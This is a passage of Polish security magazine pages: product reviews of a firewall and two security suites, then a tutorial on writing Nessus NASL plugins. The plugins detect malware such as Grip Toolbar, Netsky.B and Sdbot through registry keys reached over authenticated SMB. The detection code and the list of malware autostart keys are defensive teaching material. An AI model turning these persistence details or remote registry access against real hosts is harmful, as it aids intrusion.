korzystać jej użytkownicy.

W pudełku z urządzeniem znajdziemy komplet kabli 

oraz  płyty  z  oprogramowaniem  i  podręcznikami.  Dość 
istotnym  minusem  –  przynajmniej  dla  mnie  –  jest  brak 
instrukcji w wersji polskiej. Wiem, że język angielski jest 
dla  większości  osób  zrozumiały,  ale  producent  chyba 
zapomniał,  że  swój  produkt  skierował  na  rynek  polski. 
Drugim minusem jest brak podręcznika wydrukowanego, 
ponieważ  część  osób  woli  zapoznawać  się  z  urządze-
niem w wygodnym fotelu niż wpatrując się w monitor.

Firma NETASQ upchnęła w opisywanym urządzeniu 

wszystkie elementy niezbędne do zabezpieczenia Sieci. 
NA-F60 zawiera firewall, system wykrywania i blokowania 
włamań IPS (Intrusion Prevention System), serwer VPN, 

system antywirusowy, system antyspamowy oraz system 
filtrowania dostępu do stron internetowych (filtr URL).

Sprzęt posiada cztery wbudowane routowalne inter-

fejsy  oraz  128Mb  pamięci  w  postaci  Compact  Flash
Wydajność  urządzenia  określają  najlepiej  zestawione 
poniższe wartości:

•   przepustowość IPS-Firewall – 115Mbps,
•   przepustowość kanału VPN szyfrowanego AES – 18 

Mbps,

•   maksymalna liczba połączeń TCP – 15000,
•   maksymalna liczba kanałów VPN IPSEC – 100
•   maksymalna liczba reguł filtrujących – 512

UTM posiada bardzo dobry system wykrywania i blokowa-
nia włamań, na który składają się: wykrywanie anomalii w 
protokołach (HTTP, FTP, DNS, SMTP, POP3, IMAP4, RIP, 
H323, EMULE, SSH, SSL, NNTP, TELNET), analiza heu-
rystyczna, sygnatury kontekstowe oraz analiza protokołów 
warstwy aplikacji. Zabezpiecza naszą Sieć również przed 
wirusami  poprzez  wbudowany  ClamAV,  transparentne 
skanowanie  HTTP,  SMTP  i  POP3  oraz  bardzo  ważne 
aktualizacje automatyczne, bez których żadne zabezpie-
czenia antywirusowe nie spełniają swojego zadania. 

Bardzo ciekawym dodatkiem jest możliwość filtrowa-

nia  treści  stron  WWW,  poczty  przychodzącej  i  wycho-
dzącej, programów P2P oraz ruchu multimedialnego. 

Do  zarządzania  urządzeniem  dostajemy  do  dyspo-

zycji bardzo rozbudowany pakiet administracyjny – nie-
stety tylko pod Windows – konsolę SSHv2 oraz połącze-
nie przez RS-232. Urządzenie jest warte zainteresowa-
nia  dzięki  szerokiemu  zakresowi  możliwości,  jakie  nam 
oferuje.  Jednak  brak  dokumentacji  w  języku  polskim  (a 
przecież produkt ma być sprzedawany nam - Polakom) i 
pakiet administracyjny przygotowany tylko dla systemów 
z rodziny Windows trochę zniechęca. Pomimo tych niedo-
ciągnięć jest to urządzenie godne polecenia. W sieciach 
domowych  pozwala  na  filtrowanie  informacji  napływają-
cych  z  Internetu  i  trafiających  do  naszych  pociech,  a  w 
małych firmach pozwala ograniczyć dostęp do Sieci tylko 
do konkretnych aplikacji, niezbędnych do pracy.

Robert Zadrożny

Producent: NETASQ

Model: NA-F60

Typ: Firewall

Przeznaczenie: małe i średnei firmy

Strona producentahttp://www.netascq.com

Cena: 6534,60 PLN

Ocena4,5/5

NETASQ NA-F60

Rysunek 1. 

NA-F60

background image

12

Narzędzia

hakin9 Nr 8/2007

www.hakin9.org

13

hakin9 Nr 8/2007

www.hakin9.org

Narzędzia

Każdego  dnia  nasz  komputer  atakowany  jest  przez 
różnego  rodzaju  wirusy,  robaki  i  inne  złośliwe  opro-
gramowanie.  Z  tego  też  względu  coraz  ważniejsze 
jest  jego  dobre  zabezpieczenie.  Nie  wystarczy  już 
sam  antywirus  uruchamiany  od  przypadku  do  przy-
padku,  niezbędne  jest    kompleksowe  zabezpiecze-
nie.    Oferuje  je  nam  właśnie  pakiet  o  nazwie  Panda 

Internet  Security  2007.  Jest  to  najbardziej  rozbudo-
wane, wśród spotykanych na rynku, oprogramowanie 
do  ochrony  komputera,  pochodzące  od  firmy  Panda 
Software.  Jego  ogromną  zaletą    jest  już  możliwość 
zainstalowania go na trzech komputerach przy zaku-
pie tylko jednej licencji. Dodatkowo mamy do  dyspo-
zycji pomoc techniczną 24 godziny na dobę przez 365 
dni w roku – poprzez Internet.

PIS 2007 składa się z kilku modułów, które pozwalają 

zadbać o bezpieczeństwo. Są to:

•   Ochrona  danych  osobowych.  Dzięki  temu  moduło-

wi możemy dokonywać w Internecie wszelkiego typu 
transakcje  bez  obawy,  że  ktoś  przechwyci  nasze 
dane i wykorzysta je do własnych potrzeb. 

•   Najnowszej  generacji  program  antywirusowy.  Przez 

wykorzystanie  technologii  heurystycznej,  PIS  jest  w 
stanie  automatycznie  wykryć  i  wyeliminować  wszel-
kiego  rodzaju  (nawet  jeszcze  nie  znane)  wirusy, 
robaki i trojany.

•   Osobisty firewall. Jest to chyba najbardziej podstawo-

we  zabezpieczenie  komputera  przed  atakami  hake-
rów. Dzięki niemu mamy możliwość ustawienia, które 
programy mogą się łączyć z Internetem, a jakie nie. 
Dodatkowo PIS informuje nas o wszystkich nieauto-
ryzowanych próbach połączenia się z naszym kom-
puterem

•   Antispyware. Pomaga nam chronić swoją prywatność 

w Internecie. Jest to zabezpieczenie przed programa-
mi, które mogą np. spowalniać pracę naszego kompu-
tera, wyświetlać tysiące irytujących reklam czy też po 
prostu  śledzić  nasze  poczynania  podczas  pracy  na 
komputerze.

•   Antispam.  Rozpoznaje  i  blokuje  maile,  w  których 

znajdują  się  niebezpieczne  dla  naszego  komputera 
załączniki, a także wszelkiego rodzaju reklamy, któ-
rych jest coraz więcej w naszej skrzynce.

•   Kontrola rodzicielska. Ten moduł umożliwia stworze-

nie użytkowników z dostępem na hasło i określenie 
dla nich różnego rodzaju dostępu do Internetu. Dzięki 
temu  możemy  mieć  pewność,  że  nasze  dzieci  nie 
będą odwiedzały stron szkodliwych dla nich, a nasz 
pracownik nie będzie surfował po Internecie, zamiast 
pracować.

Wymagania jak na programy tego typu są bardzo skrom-
ne.  Aby  program  funkcjonował,  wystarczy,  że  będzie-
my  posiadali  komputer  z  procesorem  300MHz,  128MB 
pamięci ram i 160MB wolnego miejsca na dysku.

Wszystko  to  sprawia,  że  opisywany  produkt  jest 

niemal  idealny  do  zabezpieczenia  komputera.  Podczas 
codziennej pracy w ogóle nie daje się odczuć, że działa 
on w tle. Jego obsługa jest intuicyjna, przez co nie będą 
miały  problemu  z  nią  problemów  nawet  osoby,  które 
nigdy wcześniej nie korzystały z tego typu oprogramowa-
nia. Według mnie jest to obecnie najlepszy program do 
ochrony komputera.

Robert Zadrożny

Producent: Panda Software

Cena210 PLN 

Strona producentahttp://www.pandasoftware.com.pl 

TypOchrona komputera

Ilość stanowisk3

Licencja1 rok

Ocena5/5

Panda Internet Security 2007

Rysunek 1. 

Zrzut ekranu programu Panda Internet 

Security 2007

background image

14

Narzędzia

hakin9 Nr 8/2007

www.hakin9.org

W końcu dostałem do swych rąk program Eagleeyeos 

Professional  Severe.  Produkt  ów  nie  wydawał  się,  po 
okładce sądząc, zbyt skomplikowany, a jednak okazało 
się, że jest wprost przeciwnie. O ile program jest bardzo 
dobry i funkcjonalny, o tyle wadą jest jego bardzo skom-
plikowana  instalacja,  stąd  zamierzam  na  niej  właśnie 
położyć nacisk w tej recenzji. Dlaczego akurat instala-
cja? Ponieważ  okazała się ona bardziej skomplikowana 
niż  samo  użytkowanie  tego  programu.  Wkładając  pro-
gram do czytnika CD, nie wiedziałem jeszcze, co mnie 
czeka.  Okazało  się,  że  proces  instalacyjny  stanowi  tu 
nie lada wyzwanie, ponieważ nie każdy uczy się języka 
angielskiego,  a  cała  instalacja  i  rejestracja  programu 
przebiega  właśnie  w  języku  angielskim.  Nie  miałem 
żadnego  punktu  zaczepienia  i  nie  wiedziałem,  jak 

ugryźć ten program, aż w końcu napisałem własny tuto-
rial na temat jego instalacji.  Okazało się, że wcale nie 
było to takie trudne. Wreszcie przystąpiłem do instalacji. 
Jednak i tu nie obyło się bez błędów. Już powoli zaczy-
nało brakować mi czasu i ochoty, by się ciągle męczyć 
z programem. Jednak często, jak mam juz coś zrobić, 
to wiem, że muszę zrobić to dobrze. Tak też było z tym 
programem. Po zakończeniu instalacji zapoznałem się 
z  jego  funkcjonalnościami  i  okazało  się,  że  program 
jest wart swojej ceny! EagleEyeOS Professional Severe 
zapewnia ochronę zupełną. Kompletny zasięg inteligen-
cji przez posługiwanie alarmów, rozwiniętego monitoro-
wania  w  przypadku  użyć  drukarzy.  Cykl  dokumentów 
może  zostać  skontrolowany  i  wyśledzony  z  monitoro-
waniem  działalności  użytkownika,  tworząc  kwarantan-
ny  dokument,  ponadto  kontrolując  urządzenia  przeno-
śne. Program gwarantuje kompletne zarządzanie siecią 
dla małych i dużych przedsiębiorstw. 

Strony:  Home,  Real-Time  Monitoring,  Reports, 

File Lifecycle Tracking (FLT), Storage Lifecycle Trac-

king (SLT), Auto Reports, Alerts, Center. Panele takie 
jak:  Hosts,  Properties,  Servers,  Archives,  Operators, 

Server Log, Install Log. Forest: Rule Groups, Log Fil-

ters,  Filters,  Devices,  Quarantines,  Snapshot,  Prin-

ters.  Technologia:  Kernel  Level  Development,  Appli-

cation Independece, File System and Hardware Inde-

pendence,  Support  of  the  Non-Microsoft-Based  File 

Sparing,  Reproduction  Independence,  Own  Protecti-

ve  Line,  Devices  (Availability  Independence),  Stora-

ges (producer and type independence), SQL Support, 

EagleEyeOS Zone, SYSLOG Support, Notebook han-

dling  (local  storage  procedure)  oraz  Data  Loss  Pre-

vention.  Co  prawda  nie  znam  się  dokładniej  na  tego 
typu programach,  jako że nie prowadzę własnej dzia-
łalności gospodarczej, jednak z całą pewnością mogę 
stwierdzić,  że  program  rzeczywiście  jest  profesjonal-
ny  i  niczego  więcej  mu  nie  potrzeba.  Cała  sztuka  w 
tym, aby zrozumieć, co jest napisane w języku angiel-
skim. Stosujmy się więc do poleceń i zaleceń autorów. 
Moim zdaniem produkt jest bardzo przydatny i niezwy-
kle  funkcjonalny.  Polecam  go  wszystkim  tym,  którzy 
posiadają  swoje  przedsiębiorstwo  -  te  duże  i  te  cał-
kiem małe.

Karol Ciężki

ProducentEagleEyeOS

TypProgram zabezpieczający

PrzeznaczenieUżytkownicy indywidualni i nie tylko

Strona producentawww.eagleeyeos.com

Cena317 PLN

Eagleeyeos Professional 

Severe

Rysunek 1. 

Professional Severe-NFR

background image
background image

www.hakin9.org

hakin9 Nr 8/2007

16

Początki

M

alware  lub  PuP  musi  przechowywać 
pewne  dane  w  systemie,  aby  wcho-
dzić  z  nim  w  interakcję.  Konieczne 

jest to, aby móc tworzyć lub modyfikować usłu-
gę,  aby  automatycznie  uruchamiać  się  pod-
czas bootowania, aby podłączyć się do Internet 
Explorera. Te czynności mające miejsce w sys-
temie, a właściwie w rejestrze Windows, moż-
na wykryć.

Podejrzany klucz, przykład potencjalnie nie-

pożądanego  programu  poprzez  moduły  Brow-

ser Helper Object dla aplikacji Internet Explorer.

Browser Helper Object (BHO) jest modułem 

DLL,  zaprojektowanym  jako  plugin  dla  prze-
glądarki  internetowej  Microsoft  Internet  Explo-
rer  w  celu  dostarczenia  dodatkowej  funkcjo-
nalności.  Moduły  BHO  zostały  wprowadzo-
ne  do  IE  w  październiku  1997  wraz  z  ukaza-
niem się wersji 4 Internet Explorera. Większość 
modułów  BHO  jest  jeden  raz  ładowana  przez 
każdą nową instancję Internet Explorera (http://

en.wikipedia.org/wiki/Browser_Helper_Object).

Przykład użycia: chcemy wykryć CursorZo-

ne, Grip Toolbar, znane spyware zbierające in-
formacje  o  przeglądaniu  i  modyfikujące  do-
myślną  stronę  wyszukującą.  Aby  dowiedzieć 
się więcej na jego temat, zobacz:

•  http://www.castlecops.com /tk28918-

gripcz4_dll.html,

•  http://research.sunbelt-software.com/threa

tdisplay.aspx?name=Grip%20Toolbar&thre-

atid=14981.

Znamy  GUID  (skrót  od  Globally  Unique  Iden-

tifier,  unikalnej  128-bitowej  liczby  tworzonej 
przez system Windows lub przez niektóre apli-
kacje Windows w celu identyfikacji konkretne-
go komponentu, aplikacji, pliku, wpisu w bazie 
danych, i/lub użytkownika) ({4E7BD74F-2B8D-

Podejrzany klucz rejestru

David Maciejak

stopień trudności

Ten artykuł prezentuje sposoby wykrycia działania złośliwego 

oprogramowania. Może ono być przeprowadzane automatycznie 

za pomocą skanera luk zabezpieczeń obsługującego lokalne 

testowanie skryptów, takiego jak Nessus.

Z artykułu dowiesz się

• 

jak wykryć ślady infekcji, zwłaszcza na platfor-
mie Microsoft Windows,

• 

jak  pisać  własne  pluginy  Nessusa  używając 
NASL.

Co powinieneś wiedzieć

• 

jak używać narzędzia Nessus,

• 

mieć podstawową wiedzę na temat NASL i/lub 
umiejętność pisania skryptów,

• 

znać systemy Microsoft Windows i Linux.

background image

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

17

Listing 1a. 

Sprawdzanie klucza rejestru Grip Toolbar

if

(

description

)

{

 

script_id

(

16314

);

 

script_version

(

"$Revision: 1.6 $"

);

 

name

[

"english"

]

 

=

 

"Potentially unwanted software"

;

 

script_name

(

english

:

name

[

"english"

]);

 

desc

[

"english"

]

 

=

 

"

This script checks for the presence of files and programs which
might have been installed without the consent of the user of the
remote host.
Verify each of softwares found to see if they are compliant with
you security policy.
Solution : See the URLs which will appear in the report
Risk factor : High"

;

 

script_description

(

english

:

desc

[

"english"

]);

 

summary

[

"english"

]

 

=

 

"Checks for the presence of differents dll on the remote host"

;

 

script_summary

(

english

:

summary

[

"english"

]);

 

script_category

(

ACT_GATHER_INFO

);

 

script_copyright

(

english

:

"This script is Copyright (C) 2005 David Maciejak and Tenable Network Security"

);

 

family

[

"english"

]

 

=

 

"Windows"

;

 

script_family

(

english

:

family

[

"english"

]);

 

script_dependencies

(

"smb_hotfixes.nasl"

);

 

script_require_keys

(

"SMB/Registry/Enumerated"

);

 

script_require_ports

(

139

445

);

 

exit

(

0

);

}

#load specific SMB function

include

(

"smb_func.inc"

);

include

(

"smb_hotfixes.inc"

);

if

 

(

 

get_kb_item

(

"SMB/samba"

)

 

)

 

exit

(

0

);

global_var

 

handle

;

#get port info from knowledge base

port

 

=

 

kb_smb_transport

();

if

(!

port

)

exit

(

0

);

#get credential and domain name from knowledge base

if

(!

get_port_state

(

port

))

return

(

FALSE

);

login

 

=

 

kb_smb_login

();

pass

  

=

 

kb_smb_password

();

domain

 

=

 

kb_smb_domain

();

soc

 

=

 

open_sock_tcp

(

port

);

if

(!

soc

)

exit

(

0

);

session_init

(

socket

:

soc

hostname

:

kb_smb_name

());

#connect to IPC$ share

ret

 

=

 

NetUseAdd

(

login

:

login

password

:

pass

domain

:

domain

share

:

"IPC$"

);

if

 

(

 

ret

 

!=

 

1

 

)

 

exit

(

0

);

#open an handle on registry entry KKEY_CLASS_ROOT

handle

 

=

 

RegConnectRegistry

(

hkey

:

HKEY_CLASS_ROOT

);

if

 

(

 

isnull

(

handle

)

 

)

 

exit

(

0

);

function

 

check_reg

(

name

url

key

item

exp

)

{

  

local_var

 

key_h

value

sz

;

  #open the registry key
  

key_h

 

=

 

RegOpenKey

(

handle

:

handle

key

:

key

mode

:

 

MAXIMUM_ALLOWED

);

  

if

(

 

!

 

isnull

(

key_h

)

 

)

  

{

    #query the subkey if item != NULL
    

value

 

=

 

RegQueryValue

(

handle

:

key_h

item

:

item

);

    

RegCloseKey

(

handle

:

key_h

);

    

if

 

(

 

!

 

isnull

(

value

)

 

)

 

sz

 

=

 

value

[

1

];

    

else

 

return

 

0

;

  

}

  

else

 

return

 

0

;

  #if subkey equals the exp value that we expected
 

if

(

exp

 

==

 

NULL

 

||

 

tolower

(

exp

)

 

><

 

tolower

(

sz

))

background image

hakin9 Nr 8/2007

www.hakin9.org

Początki

18

469E-A6E4-FC7CBD87BD7D})  i  je-
dną z nazw plików, które dodawany 
jest do systemu (gripcz4.dll).

Skrypt  (Zobacz  Listing  1)  łączy 

się do zdalnego rejestru, aby spraw-
dzić,  czy  istnieją  GUID  oraz  nazwa 
pliku (jest to wycinek z smb_suspicio-

us_files.nasl). Listing 2. przedstawia 
nieco łatwiejszy przykład. Nie musi-
my  w  nim  testować  wartości  wpisu 
klucza, ale dowiedzieć się tylko, czy 
klucz  istnieje.  Microsoft  umożliwia 
możliwość zabezpieczenia się przed 

luką, polegającą na zdalnym urucho-
mieniu kodu w Vector Markup Langu-

age (aby dowiedzieć się więcej, zo-
bacz CVE-2006-4868). Użytkownicy 
muszą wyrejestrować vgx.dll. Plugin 
sprawdza, czy plik DLL został wyre-
jestrowany i wtedy nie jest uwzględ-
niany w rejestrze.

Podejrzany 

autostart programu 

Złośliwe  oprogramowanie  często 
wykorzystuje  następujące  klucze 

do dodania do nich wpisu i urucha-
mienia  przez  system  podczas  jego 
startu:

•  H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

Windows\CurrentVersion\Run 
–  przeznaczone  dla  progra-
mu,  który  musi  być  uruchamia-
ny  podczas  każdego  bootowa-
nia.  Warto  zauważyć,  że  ro-
ot  path  może  mieć  też  po-
stać  HKEY_CURRENT  USER, 

Listing 1b. 

Sprawdzanie klucza rejestru Grip Toolbar

 

{

  

report

 

=

 

string

(

"'"

name

"' is installed on the remote host.

\n

"

,

"Make sure that the user of the remote host intended to install
this software and that its use matches your corporate security
policy.

\n\n

"

,

"Solution : "

url

"

\n

"

,

"Risk factor : High"

);

  #report specific data based on this malware 
  

security_hole

(

port

:

kb_smb_transport

()

data

:

report

);

 

}

}

i

 

=

 

0

;

###############################################################################

name

 

=

 

make_list

();

name

[

i

]

   

=

 

"Grip Toolbar"

;

url

[

i

]

       

=

 

"http://www.giantcompany.com/antispyware/research/spyware/spyware-Grip-Toolbar.aspx"

;

key

[

i

]

     

=

 

"CLSID

\{

4E7BD74F-2B8D-469E-A6E4-FC7CBD87BD7D} 

\I

nprocServer32"

;

item

[

i

]

   

=

 

NULL

;

exp

[

i

]

    

=

 

"gripcz4.dll"

;

###############################################################################

for

(

i

=

0

;

name

[

i

];

i

++)

{

#call the check_reg function
  

check_reg

(

name

:

name

[

i

]

url

:

url

[

i

]

key

:

key

[

i

]

item

:

item

[

i

]

exp

:

exp

[

i

]);

}

RegCloseKey

(

handle

:

handle

);

NetUseDel

();

Tabela 1. 

Początkowa wartość usług Windows

Typ uruchomienia

Loader

Znaczenie

0x0 (Boot)

Kernel

Reprezentuje część stosu sterownika dla bootowanego 
(uruchamianego) wolumenu i dlatego musi być załadowany 
przez Boot Loader.

0x1 (System)

I/O subsystem

Reprezentuje sterownik ładowany podczas inicjalizacji Ker-
nela.

0x2 (Auto load)

Service Control Ma-
nager

Ładowany lub uruchamiany automatycznie dla wszystkich 
uruchomień, bez względu na rodzaj usługi.

0x3 (Load on demand)

Service Control Ma-
nager

Dostępny bez względu na typ, jednak uruchamiany tylko 
przez użytkownika (na przykład poprzez kliknięcie na ikonę 
Urządzenia w Panelu sterowania).

0x4 (disabled)

Service Control Ma-
nager

NIE POWINIEN BYĆ URUCHAMIANY W ŻADNYM WY-
PADKU.

background image

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

19

Listing 2. 

Sprawdzanie wyrejestrowania dll w Vector Markup Language

if

(

description

)

{

 

script_id

(

90001

);

 

script_cve_id

(

"CVE-2006-4868"

);

 

script_bugtraq_id

(

20096

);

 

 

script_version

(

"$Revision: 1.0 $"

);

 

name

[

"english"

]

 

=

 

"Vulnerability in Vector Markup Language Could Allow Remote Code Execution (925568)"

;

 

script_name

(

english

:

name

[

"english"

]);

 

desc

[

"english"

]

 

=

 

"

Synopsis

Arbitrary code can be executed on the remote host through the email client or the web browser.

Description

The remote host is running a version of Internet Explorer or Outlook Express which is vulnerable to a bug in the 

§

Vector Markup Language handling routine which may allow an attacker execute arbitrary code on the 

§

remote host by sending a specially crafted email.

Solution

A workaround is availabe at: http://www.microsoft.com/technet/security/advisory/925568.mspx.

Risk factor

High / CVSS Base Score: 8

(AV:R/AC:H/Au:NR/C:C/A:C/I:C/B:N)"

;

 

script_description

(

english

:

desc

[

"english"

]);

 

summary

[

"english"

]

 

=

 

"Checks if VML is registered"

;

 

script_summary

(

english

:

summary

[

"english"

]);

 

script_category

(

ACT_GATHER_INFO

);

 

script_copyright

(

english

:

"This script is Copyright (C) 2006 Tenable Network Security"

);

 

family

[

"english"

]

 

=

 

"Windows : Microsoft Bulletins"

;

 

script_family

(

english

:

family

[

"english"

]);

 

script_dependencies

(

"smb_hotfixes.nasl"

);

 

script_require_keys

(

"SMB/Registry/Enumerated"

);

 

script_require_ports

(

139

445

);

 

exit

(

0

);

}

#load smb modules

include

(

"smb_func.inc"

);

include

(

"smb_hotfixes.inc"

);

include

(

"smb_hotfixes_fcheck.inc"

);

#get credential and hostname from kb

login

     

=

 

kb_smb_login

();

pass

 

=

 

kb_smb_password

();

domain

 

=

 

kb_smb_domain

();

port

 

=

 

kb_smb_transport

();

#exit if port is closed

if

 

(!

get_port_state

(

port

))

exit

(

1

);

#open socket

soc

 

=

 

open_sock_tcp

(

port

);

if

 

(!

soc

)

  

exit

(

1

);

#init session, connect to IPC$ share

session_init

(

socket

:

soc

hostname

:

kb_smb_name

());

r

 

=

 

NetUseAdd

(

login

:

login

password

:

pass

domain

:

domain

share

:

"IPC$"

);

if

 

(

 

r

 

!=

 

1

 

)

  

exit

(

1

);

hkcr

 

=

 

RegConnectRegistry

(

hkey

:

HKEY_CLASS_ROOT

);

if

 

(

 

isnull

(

hkcr

)

 

)

{

 

NetUseDel

();

 

exit

(

1

);

}

registered

 

=

 

0

;

#try to open given CLSID

key_h

 

=

 

RegOpenKey

(

handle

:

hkcr

key

:

"CLSID

\{

10072CEC-8CC1-11D1- 986E-00A0C955B42E}

\I

nprocServer32"

§

mode

:

MAXIMUM_ALLOWED

);

if

 

(!

isnull

(

key_h

))

{

 

registered

 

=

 

1

;

}

RegCloseKey

(

handle

:

hkcr

);

NetUseDel

();

#if key was found

if

 

(

registered

)

  

security_hole

 

(

port

);

background image

hakin9 Nr 8/2007

www.hakin9.org

Początki

20

Listing 3. 

Sprawdzanie wpisu podklucza rejestru robaka NetSky

if

(

description

)

{

 

script_id

(

12070

);

 

script_version

(

"$Revision: 1.1 $"

);

 

name

[

"english"

]

 

=

 

"Netsky.B"

;

 

script_name

(

english

:

name

[

"english"

]);

 

desc

[

"english"

]

 

=

 

"

This system appears to be infected by Netsky.B which is a mass-mailing worm that uses its own SMTP engine to 

§

distribute itself to the email addresses it collects when probing local hard drives or remote mapped drives.

Solution: Update your Anti-virus definitions file and perform a complete system scan.

See also:

http://vil.nai.com/vil/content/v_101034.htm,

http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM_NETSKY.B.

Risk factor: High"

;

 

script_description

(

english

:

desc

[

"english"

]);

 

summary

[

"english"

]

 

=

 

"Detects Netsky.B Registry Key"

;

 

script_summary

(

english

:

summary

[

"english"

]);

 

script_category

(

ACT_GATHER_INFO

);

 

script_copyright

(

english

:

"This script is Copyright (C) 2003 Renaud Deraison modified by c.houle@bell.ca"

);

 

family

[

"english"

]

 

=

 

"Windows"

;

 

script_family

(

english

:

family

[

"english"

]);

 

script_dependencie

(

"netbios_name_get.nasl"

,

                     

"smb_login.nasl"

,

"smb_registry_access.nasl"

);

 

script_require_keys

(

"SMB/name"

"SMB/login"

"SMB/password"

,

                     

"SMB/domain"

,

"SMB/transport"

);

 

script_require_ports

(

139

445

);

 

exit

(

0

);

}

include

(

"smb_nt.inc"

);

#return item found under key on HKEY_LOCAL_MACHINE root

version

 

=

 

registry_get_sz

(

key

:

"SOFTWARE

\M

icrosoft

\W

indows

\C

urrentVersion

\R

un"

item

:

"service"

);

if

 

(

 

!

 

version

 

)

 

exit

(

0

);

if

(

"services.exe -serv"

 

><

 

version

 

)

 

security_hole

(

port

);

Listing 4. 

Sprawdzanie obecności podejrzanej usługi robaka Sdbot

if

(

description

)

{

 

script_id

(

95000

);

 

script_version

(

"$Revision: 1.0 $"

);

 

name

[

"english"

]

 

=

 

"W32/Sdbot.worm.gen.by"

;

 

script_name

(

english

:

name

[

"english"

]);

 

desc

[

"english"

]

 

=

 

"

This system appears to be infected by W32/Sdbot.worm.gen.by which is a worm spreading using multiple attacking vector.

Solution: Update your Anti-virus definitions file and perform a complete system scan.

See also: http://vil.mcafeesecurity.com/vil/content/v_133133.htm.

Risk factor: High"

;

 

script_description

(

english

:

desc

[

"english"

]);

 

summary

[

"english"

]

 

=

 

"Detects W32/Sdbot.worm.gen.by"

;

 

script_summary

(

english

:

summary

[

"english"

]);

 

script_category

(

ACT_GATHER_INFO

);

 

script_copyright

(

english

:

"This script is Copyright (C) 2006 D. Maciejak"

);

 

family

[

"english"

]

 

=

 

"Windows"

;

 

script_family

(

english

:

family

[

"english"

]);

 

script_dependencie

(

"netbios_name_get.nasl"

,

                     

"smb_login.nasl"

,

"smb_registry_access.nasl"

);

 

script_require_keys

(

"SMB/name"

"SMB/login"

"SMB/password"

,

                     

"SMB/domain"

,

"SMB/transport"

);

 

script_require_ports

(

139

445

);

 

exit

(

0

);

}

include

(

"smb_nt.inc"

);

#return item found under key on HKEY_LOCAL_MACHINE root

filepath

 

=

 

registry_get_sz

(

key

:

"system

\c

urrentcontrolset

\s

ervices

\r

pcsvc

"

item

:

"imagepath"

);

if

 

(

 

!

 

filepath

 

)

 

exit

(

0

);

if

(

"

\S

ystem32

\r

pcsvc.exe"

 

><

 

filepath

 

)

 

security_hole

(

port

);

background image

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

21

H K E Y_ LO C A L _ M AC H I N E \

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunServices – przeznaczone dla 
usługi,  która  musi  być  urucha-
miana  podczas  każdego  booto-
wania,

•  H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunServicesOnce – przeznaczo-
ne dla usługi, która musi być uru-
chamiana raz podczas następne-
go  rebootowania.  Wszystkie  te 
trzy klucze i ich wpisy są wczyty-
wane asynchronicznie.

•  H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunOnce  –  przeznaczone  dla 
programu,  który  musi  być  uru-
chamiany  raz  podczas  następ-
nego  rebootowania;  są  wczy-
tywane  synchronicznie  w  nie-
określonym  porządku.  Warto  za-
uważyć,  że  root  path  może  też 
mieć  postać  HKEY_CURRENT 
USER  (szczegóły  pod  adresem: 

http://support.microsoft.com/kb/

158022/en-us)

•  H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunOnceEx – dotyczy Windows 
98 i Millennium.

Wpisy  i  sekcje  są  posortowane  al-
fabetycznie,  aby  wymusić  porzą-
dek  deterministyczny;  nie  jest  two-
rzony  odrębny  proces  dla  każde-
go  wpisu.  Lista  zależności  modu-
łów  dll  pozostaje  wczytana  (aby 
dowiedzieć  się  więcej  zobacz  http:

//support.microsoft.com/?scid=kb%

3Benus%3B232487&x=18&y=13).

Przykład  użycia:  Rozprzestrze-

nia się robak Netsky.B i chcemy wie-
dzieć, czy stacje robocze w naszej 
firmie zostały zainfekowane. Wiemy 
już z przeglądu technicznego Trend-
Micro (http://www.trendmicro.com/

vinfo/virusencyclo/default5.asp? 

V N a m e = W O R M _ N E T S K Y. B ) , 
że  dodaje  on  wpis  podklucza 
o  nazwie 

service

  z  wartością 

services.exe  -serv

  w  kluczu  re-

jestru  HKEY_LOCAL_MACHINE\

Listing 5. 

Sprawdzanie, czy została wyłączona usługa antywirusowa 

Nod32

if

(

description

)

 

{

script_id

(

95001

);

script_version

 

(

"$Revision: 1.0 $"

);

name

[

"english"

]

 

=

 

"Nod32 antivirus disabled"

;

script_name

(

english

:

name

[

"english"

]);

desc

[

"english"

]

 

=

 

"

Synopsis :

Remote system is not configured for running Nod32 antivirus.

Description:

The remote host does not have Nod32 antivirus enabled. 

Solution: 

Enable Nod32 service on this host

Risk factor:

None"

;

script_description

(

english

:

desc

[

"english"

]);

summary

[

"english"

]

 

=

 

"Determines if Nod32 antivirus is disabled"

;

script_summary

(

english

:

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

:

"This script is Copyright (C) 2007 David Maciejak"

);

family

[

"english"

]

 

=

 

"Windows"

;

script_family

(

english

:

family

[

"english"

]);

script_dependencies

(

"netbios_name_get.nasl"

,

"smb_login.nasl"

"smb_registry_access.nasl"

);

script_require_keys

(

"SMB/transport"

"SMB/name"

"SMB/login"

§

 

"SMB/password"

"SMB/registry_access"

);

script_require_ports

(

139

445

);

exit

(

0

);

}

include

(

"smb_func.inc"

);

port

 

=

 

get_kb_item

(

"SMB/transport"

);

if

(!

port

)

port

 

=

 

139

;

#load credential and host data from kb

name

 

=

 

kb_smb_name

();

 

if

(!

name

)

exit

(

0

);

login

 

=

 

kb_smb_login

();

 

pass

 

=

 

kb_smb_password

();

 

domain

 

=

 

kb_smb_domain

();

 

port

 

=

 

kb_smb_transport

();

#test if port is closed

if

 

(

 

!

 

get_port_state

(

port

)

 

)

 

exit

(

0

);

#open socket

soc

 

=

 

open_sock_tcp

(

port

);

if

 

(

 

!

 

soc

 

)

 

exit

(

0

);

#init session to host

session_init

(

socket

:

soc

hostname

:

name

);

#open share with credential

r

 

=

 

NetUseAdd

(

login

:

login

password

:

pass

domain

:

domain

share

:

"IPC$"

);

if

 

(

 

r

 

!=

 

1

 

)

 

exit

(

0

);

#connect to HKEY_LOCAL_MACHINE registry

hklm

 

=

 

RegConnectRegistry

(

hkey

:

HKEY_LOCAL_MACHINE

);

if

 

(

 

isnull

(

hklm

)

 

)

 

{

